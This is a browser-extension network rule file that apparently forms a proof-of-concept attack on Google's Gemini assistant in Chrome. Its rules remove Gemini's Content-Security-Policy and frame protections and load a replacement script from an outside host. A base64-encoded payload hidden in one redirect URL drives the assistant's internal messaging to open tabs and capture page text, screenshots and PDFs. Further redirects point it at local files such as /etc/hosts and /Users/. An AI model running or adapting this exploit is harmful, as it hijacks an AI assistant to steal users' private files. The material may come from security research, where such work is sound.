[
  {
    "id": 1,
    "priority": 1,
    "action": {
      "type": "modifyHeaders",
      "responseHeaders": [{ "header": "content-security-policy", "operation": "remove" }]
    },
    "condition": {
      "urlFilter": "https://gemini.google.com/*",
      "resourceTypes": ["main_frame", "sub_frame"]
    }
  },
  {
    "id": 41,
    "priority": 41,
    "action": {
      "type": "modifyHeaders",
      "responseHeaders": [{ "header": "content-security-policy-report-only", "operation": "remove" }]
    },
    "condition": {
      "urlFilter": "https://gemini.google.com/*",
      "resourceTypes": ["main_frame", "sub_frame"]
    }
  },
  {
    "id": 6,
    "priority": 6,
    "action": {
      "type": "modifyHeaders",
      "responseHeaders": [{ "header": "x-frame-options", "operation": "remove" }]
    },
    "condition": {
      "urlFilter": "https://gemini.google.com/app",
      "resourceTypes": ["main_frame", "sub_frame"]
    }
  },
  {
    "id": 5,
    "priority": 5,
    "action": {
      "type": "modifyHeaders",
      "responseHeaders": [
        {
          "header": "cross-origin-embedder-policy",
          "operation": "set",
          "value": "require-corp"
        }
      ]
    },
    "condition": {
      "urlFilter": "https://gemini.google.com/app",
      "resourceTypes": ["main_frame", "sub_frame"]
    }
  },
  {
    "id": 14,
    "priority": 14,
    "action": {
      "type": "modifyHeaders",
      "responseHeaders": [
        {
          "header": "cross-origin-resource-policy",
          "operation": "set",
          "value": "cross-origin"
        }
      ]
    },
    "condition": {
      "urlFilter": "https://gemini.google.com/app",
      "resourceTypes": ["main_frame", "sub_frame"]
    }
  },
  {
    "id": 4,
    "priority": 4,
    "action": {
      "type": "modifyHeaders",
      "responseHeaders": [
        {
          "header": "document-isolation-policy",
          "operation": "set",
          "value": "isolate-and-credentialless"
        }
      ]
    },
    "condition": {
      "urlFilter": "https://gemini.google.com/*",
      "resourceTypes": ["main_frame", "sub_frame"]
    }
  },
  {
    "id": 2,
    "priority": 2,
    "action": {
      "type": "redirect",
      "redirect": {
        "url": "https://weizmangal.com/public/signal.html?Y29uc29sZS5sb2coJ0dFTUlOSV9UQUtFT1ZFUicsICdTVEFSVCcsIGxvY2F0aW9uLmhyZWYpOwoKZnVuY3Rpb24gZXh0cmFjdEZpbGVVcmxzKHRleHQpIHsKICAgIC8vIG1hdGNoIGZpbGU6Ly8uLi4gdXAgdG8gd2hpdGVzcGFjZSBvciBjb250cm9sIGNoYXJzCiAgICBjb25zdCByZSA9IC9maWxlOlwvXC9cL1teXHMiJzw+XFxcdTAwMDAtXHUwMDFGXSsvZzsKICAgIHJldHVybiB0ZXh0Lm1hdGNoKHJlKSA/PyBbXTsKfQoKLy8gUmVxdWlyZXMgUERGLmpzLiBJZiBwZGZqc0xpYiBpc24ndCBhbHJlYWR5IG9uIHdpbmRvdywgaXQgbGF6eS1sb2FkcyBpdCBmcm9tIENETi4KYXN5bmMgZnVuY3Rpb24gcGRmQXJyYXlCdWZmZXJUb1RleHQoYXJyYXlCdWZmZXIpIHsKICAgIGNvbnN0IHBkZmpzTGliID0KICAgICAgICBnbG9iYWxUaGlzLnBkZmpzTGliID8/CiAgICAgICAgKGF3YWl0IGltcG9ydCgiaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9wZGZqcy1kaXN0QDUuNC4xNDkvYnVpbGQvcGRmLm1qcyIpKTsKCiAgICAvLyBXb3JrZXIgaXMgcmVxdWlyZWQgaW4gbW9zdCBzZXR1cHM7IHNldCBpdCBpZiBub3QgYWxyZWFkeSBzZXQuCiAgICBpZiAocGRmanNMaWIuR2xvYmFsV29ya2VyT3B0aW9ucyAmJiAhcGRmanNMaWIuR2xvYmFsV29ya2VyT3B0aW9ucy53b3JrZXJTcmMpIHsKICAgICAgICBwZGZqc0xpYi5HbG9iYWxXb3JrZXJPcHRpb25zLndvcmtlclNyYyA9CiAgICAgICAgICAgICJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL3BkZmpzLWRpc3RANS40LjE0OS9idWlsZC9wZGYud29ya2VyLm1qcyI7CiAgICB9CgogICAgY29uc3QgcGRmID0gYXdhaXQgcGRmanNMaWIuZ2V0RG9jdW1lbnQoeyBkYXRhOiBhcnJheUJ1ZmZlciB9KS5wcm9taXNlOyAvLyBhY2NlcHRzIEFycmF5QnVmZmVyIDpjb250ZW50UmVmZXJlbmNlW29haWNpdGU6MF17aW5kZXg9MH0KICAgIGNvbnN0IHBhZ2VUZXh0cyA9IGF3YWl0IFByb21pc2UuYWxsKAogICAgICAgIEFycmF5LmZyb20oeyBsZW5ndGg6IHBkZi5udW1QYWdlcyB9LCBhc3luYyAoXywgaSkgPT4gewogICAgICAgICAgICBjb25zdCBwYWdlID0gYXdhaXQgcGRmLmdldFBhZ2UoaSArIDEpOwogICAgICAgICAgICBjb25zdCB0YyA9IGF3YWl0IHBhZ2UuZ2V0VGV4dENvbnRlbnQoKTsKICAgICAgICAgICAgcmV0dXJuIHRjLml0ZW1zLm1hcChpdGVtID0+IGl0ZW0uc3RyKS5qb2luKCIgIik7CiAgICAgICAgfSkKICAgICk7IC8vIHN0YW5kYXJkIHRleHQtZXh0cmFjdGlvbiBmbG93IDpjb250ZW50UmVmZXJlbmNlW29haWNpdGU6MV17aW5kZXg9MX0KCiAgICByZXR1cm4gcGFnZVRleHRzLmpvaW4oIlxuXG4iKTsKfQoKCmZ1bmN0aW9uIHBuZ0FycmF5QnVmZmVyVG9EYXRhVVJMKGFycmF5QnVmZmVyKSB7CiAgICBjb25zdCB1aW50OCA9IG5ldyBVaW50OEFycmF5KGFycmF5QnVmZmVyKTsKICAgIGxldCBiaW5hcnkgPSAiIjsKICAgIGZvciAobGV0IGkgPSAwOyBpIDwgdWludDgubGVuZ3RoOyBpKyspIHsKICAgICAgICBiaW5hcnkgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSh1aW50OFtpXSk7CiAgICB9CiAgICBjb25zdCBiYXNlNjQgPSBidG9hKGJpbmFyeSk7CiAgICByZXR1cm4gYGRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwke2Jhc2U2NH1gOwp9Cgp3aW5kb3cuc3RhcnQgPSBmdW5jdGlvbiBzdGFydCh1cmwpIHsKICAgIGlmIChsb2NrZWQuaW5jbHVkZXModXJsKSkgcmV0dXJuOwogICAgbG9ja2VkLnB1c2godXJsKTsKICAgIHNvdXJjZS5wb3N0TWVzc2FnZSh7CiAgICAgICAgZ2xpY1JlcXVlc3Q6dHJ1ZSwKICAgICAgICByZXF1ZXN0SWQ6IDY2NiwKICAgICAgICB0eXBlOiAnZ2xpY0Jyb3dzZXJDcmVhdGVUYWInLAogICAgICAgIHJlcXVlc3RQYXlsb2FkOiB7CiAgICAgICAgICAgIHVybCwKICAgICAgICAgICAgb3B0aW9uczogewogICAgICAgICAgICAgICAgb3BlbkluQmFja2dyb3VuZDogZmFsc2UsCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9LCAnKicpOwogICAgc291cmNlLnBvc3RNZXNzYWdlKHsKICAgICAgICAic2VuZGVySWQiOiAiY2Q5ZjlkYzM0ODM3MzY2IiwKICAgICAgICAiZ2xpY1JlcXVlc3QiOiB0cnVlLAogICAgICAgICJyZXF1ZXN0SWQiOiA2NSwKICAgICAgICAidHlwZSI6ICJnbGljQnJvd3NlclNldFRhYkNvbnRleHRQZXJtaXNzaW9uU3RhdGUiLAogICAgICAgICJyZXF1ZXN0UGF5bG9hZCI6IHsKICAgICAgICAgICAgImVuYWJsZWQiOiB0cnVlCiAgICAgICAgfQogICAgfSwgJyonKTsKICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgIHNvdXJjZS5wb3N0TWVzc2FnZSh7CiAgICAgICAgICAgICJzZW5kZXJJZCI6ICJiMjZhNjc1MDlkZTExYWQyIiwKICAgICAgICAgICAgImdsaWNSZXF1ZXN0IjogdHJ1ZSwKICAgICAgICAgICAgInJlcXVlc3RJZCI6IDEwMiwKICAgICAgICAgICAgInR5cGUiOiAiZ2xpY0Jyb3dzZXJHZXRDb250ZXh0RnJvbUZvY3VzZWRUYWIiLAogICAgICAgICAgICAicmVxdWVzdFBheWxvYWQiOiB7CiAgICAgICAgICAgICAgICAib3B0aW9ucyI6IHsKICAgICAgICAgICAgICAgICAgICAiaW5uZXJUZXh0IjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAidmlld3BvcnRTY3JlZW5zaG90IjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAicGRmRGF0YSI6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgImFubm90YXRlZFBhZ2VDb250ZW50IjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAiYW5ub3RhdGVkUGFnZUNvbnRlbnRNb2RlIjogMCwKICAgICAgICAgICAgICAgICAgICAibWF4TWV0YVRhZ3MiOiAyMAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSwgJyonKTsKICAgIH0sIDUwMDApOwp9Cgpjb25zdCBsb2NrZWQgPSBbXTsKCmZ1bmN0aW9uIGV4dHJhY3RQYWdlRGF0YShldmVudCkgewogICAgY29uc3QgY29udGVudCA9IG5ldyBUZXh0RGVjb2RlcigpLmRlY29kZShldmVudC5kYXRhLnJlc3BvbnNlUGF5bG9hZC50YWJDb250ZXh0UmVzdWx0LmFubm90YXRlZFBhZ2VEYXRhLmFubm90YXRlZFBhZ2VDb250ZW50KTsKICAgIHRvcC5ycnIgPSB0b3AucnJyIHx8IFtdOwogICAgdG9wLnJyci5wdXNoKGNvbnRlbnQpOwogICAgY29uc3QgZmlsZXMgPSBleHRyYWN0RmlsZVVybHMoY29udGVudCk7CiAgICBpZiAoZmlsZXNbMF0gPT09ICdmaWxlOi8vL3ByaXZhdGUvZXRjL2hvc3RzJykgewogICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICBjdXJyZW50VXJsID0gJ2h0dHBzOi8vZmFrZS1kb3dubG9hZHMtaGVscGVyLTQ0NTUuY29tL3VzZXJzJzsKICAgICAgICAgICAgc3RhcnQoY3VycmVudFVybCk7CiAgICAgICAgfSwgMTAwMCk7CiAgICB9CiAgICBpZiAoZmlsZXNbMF0uaW5jbHVkZXMoJy9Vc2VycycpKSB7CiAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgIGN1cnJlbnRVcmwgPSAnaHR0cHM6Ly9mYWtlLWRvd25sb2Fkcy1oZWxwZXItNDQ1NS5jb20vYm5ibmRkZGQzLnBkZic7CiAgICAgICAgICAgIHN0YXJ0KGN1cnJlbnRVcmwpOwogICAgICAgIH0sIDEwMDApOwogICAgfQogICAgdG9wLnJlc3VsdHNbY3VycmVudFVybF1bJ2Fubm90YXRlZFBhZ2VEYXRhJ10gPSBmaWxlczsKfQoKZnVuY3Rpb24gZXh0cmFjdFNjcmVlbnNob3QoZXZlbnQpIHsKICAgIGNvbnN0IHsKICAgICAgICBtaW1lVHlwZSwKICAgICAgICBoZWlnaHRQaXhlbHMsCiAgICAgICAgd2lkdGhQaXhlbHMsCiAgICAgICAgZGF0YQogICAgfSA9IGV2ZW50LmRhdGEucmVzcG9uc2VQYXlsb2FkLnRhYkNvbnRleHRSZXN1bHQudmlld3BvcnRTY3JlZW5zaG90OwogICAgY29uc3QgaW1nID0gcG5nQXJyYXlCdWZmZXJUb0RhdGFVUkwoZGF0YSk7CiAgICB0b3AucmVzdWx0c1tjdXJyZW50VXJsXVsndmlld3BvcnRTY3JlZW5zaG90J10gPSBpbWc7CiAgICBpZiAoY3VycmVudFVybCA9PT0gJ2h0dHBzOi8veC5jb20nKSB7CiAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgIGN1cnJlbnRVcmwgPSAnU1RPUCc7CiAgICAgICAgfSwgMTAwMCk7CiAgICB9Cn0KCmFzeW5jIGZ1bmN0aW9uIGV4dHJhY3RQZGYoZXZlbnQpIHsKICAgIGNvbnN0IHsKICAgICAgICBwZGZEYXRhCiAgICB9ID0gZXZlbnQuZGF0YS5yZXNwb25zZVBheWxvYWQudGFiQ29udGV4dFJlc3VsdC5wZGZEb2N1bWVudERhdGE7CiAgICBjb25zdCBjb250ZW50ID0gYXdhaXQgcGRmQXJyYXlCdWZmZXJUb1RleHQocGRmRGF0YSk7CiAgICB0b3AucmVzdWx0c1tjdXJyZW50VXJsXVsncGRmRG9jdW1lbnREYXRhJ10gPSBjb250ZW50OwogICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgY3VycmVudFVybCA9ICdodHRwczovL3guY29tJzsKICAgICAgICBzdGFydChjdXJyZW50VXJsKTsKICAgIH0sIDEwMDApOwp9Cgp0b3AucmVzdWx0cyA9IHsKICAgICdodHRwczovL2Zha2UtZG93bmxvYWRzLWhlbHBlci00NDU1LmNvbS9ob3N0cyc6IHt9LAogICAgJ2h0dHBzOi8vZmFrZS1kb3dubG9hZHMtaGVscGVyLTQ0NTUuY29tL3VzZXJzJzoge30sCiAgICAnaHR0cHM6Ly9mYWtlLWRvd25sb2Fkcy1oZWxwZXItNDQ1NS5jb20vYm5ibmRkZGQzLnBkZic6IHt9LAogICAgJ2h0dHBzOi8veC5jb20nOiB7fSwKfTsKbGV0IHNvdXJjZSwgdGFiSWQ7CmxldCBjdXJyZW50VXJsID0gJ2h0dHBzOi8vZmFrZS1kb3dubG9hZHMtaGVscGVyLTQ0NTUuY29tL2hvc3RzJzsKYWRkRXZlbnRMaXN0ZW5lcignbWVzc2FnZScsIGFzeW5jIGZ1bmN0aW9uIChldmVudCkgewogICAgaWYgKGN1cnJlbnRVcmwgPT09ICdTVE9QJykgcmV0dXJuOwogICAgaWYgKCFzb3VyY2UpIHsKICAgICAgICBzb3VyY2UgPSBzb3VyY2UgfHwgZXZlbnQuc291cmNlOwogICAgICAgIGN1cnJlbnRVcmwgPSAnaHR0cHM6Ly9mYWtlLWRvd25sb2Fkcy1oZWxwZXItNDQ1NS5jb20vaG9zdHMnOwogICAgICAgIHN0YXJ0KGN1cnJlbnRVcmwpOwogICAgfQogICAgLy8gY29uc29sZS5sb2coNjMyNCwgZXZlbnQuZGF0YSk7CiAgICBpZiAoZXZlbnQuZGF0YS50eXBlID09PSAnZ2xpY0Jyb3dzZXJDcmVhdGVUYWInKSB7CiAgICAgICAgaWYgKGV2ZW50LmRhdGEucmVzcG9uc2VJZCA9PT0gNjY2KSB7CiAgICAgICAgICAgIHRhYklkID0gZXZlbnQuZGF0YS50YWJJZDsKICAgICAgICB9CiAgICB9CiAgICBpZiAoZXZlbnQuZGF0YS50eXBlID09PSAnZ2xpY0Jyb3dzZXJHZXRDb250ZXh0RnJvbUZvY3VzZWRUYWInKSB7CiAgICAgICAgaWYgKCFldmVudC5kYXRhLnJlc3BvbnNlUGF5bG9hZC50YWJDb250ZXh0UmVzdWx0KSByZXR1cm47CiAgICAgICAgaWYgKGV2ZW50LmRhdGEucmVzcG9uc2VQYXlsb2FkLnRhYkNvbnRleHRSZXN1bHQuYW5ub3RhdGVkUGFnZURhdGEpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIGV4dHJhY3RQYWdlRGF0YShldmVudCk7CiAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHt9CiAgICAgICAgfQogICAgICAgIGlmIChldmVudC5kYXRhLnJlc3BvbnNlUGF5bG9hZC50YWJDb250ZXh0UmVzdWx0LnBkZkRvY3VtZW50RGF0YSkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgZXh0cmFjdFBkZihldmVudCk7CiAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHt9CiAgICAgICAgfQogICAgICAgIGlmIChldmVudC5kYXRhLnJlc3BvbnNlUGF5bG9hZC50YWJDb250ZXh0UmVzdWx0LnZpZXdwb3J0U2NyZWVuc2hvdCkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgZXh0cmFjdFNjcmVlbnNob3QoZXZlbnQpOwogICAgICAgICAgICB9IGNhdGNoIChlKSB7fQogICAgICAgIH0KICAgIH0KfSk="
      }
    },
    "condition": {
      "urlFilter": "https://fake.helper4455.com",
      "resourceTypes": ["main_frame", "script", "sub_frame"]
    }
  },
  {
    "id": 3,
    "priority": 3,
    "action": {
      "type": "redirect",
      "redirect": {
        "url": "https://weizmangal.com/public/try.js"
      }
    },
    "condition": {
      "urlFilter": "https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js",
      "resourceTypes": ["main_frame", "script", "sub_frame"]
    }
  },
  {
    "id": 31,
    "priority": 31,
    "action": {
      "type": "redirect",
      "redirect": {
        "url": "file:///private/etc/hosts"
      }
    },
    "condition": {
      "urlFilter": "https://fake-downloads-helper-4455.com/hosts",
      "resourceTypes": ["main_frame", "script", "sub_frame"]
    }
  },
  {
    "id": 32,
    "priority": 32,
    "action": {
      "type": "redirect",
      "redirect": {
        "url": "file:///Users/"
      }
    },
    "condition": {
      "urlFilter": "https://fake-downloads-helper-4455.com/users",
      "resourceTypes": ["main_frame", "script", "sub_frame"]
    }
  },
  {
    "id": 33,
    "priority": 33,
    "action": {
      "type": "redirect",
      "redirect": {
        "url": "file:///var/tmp/bnbndddd3.pdf"
      }
    },
    "condition": {
      "urlFilter": "https://fake-downloads-helper-4455.com/bnbndddd3.pdf",
      "resourceTypes": ["main_frame", "script", "sub_frame"]
    }
  }
]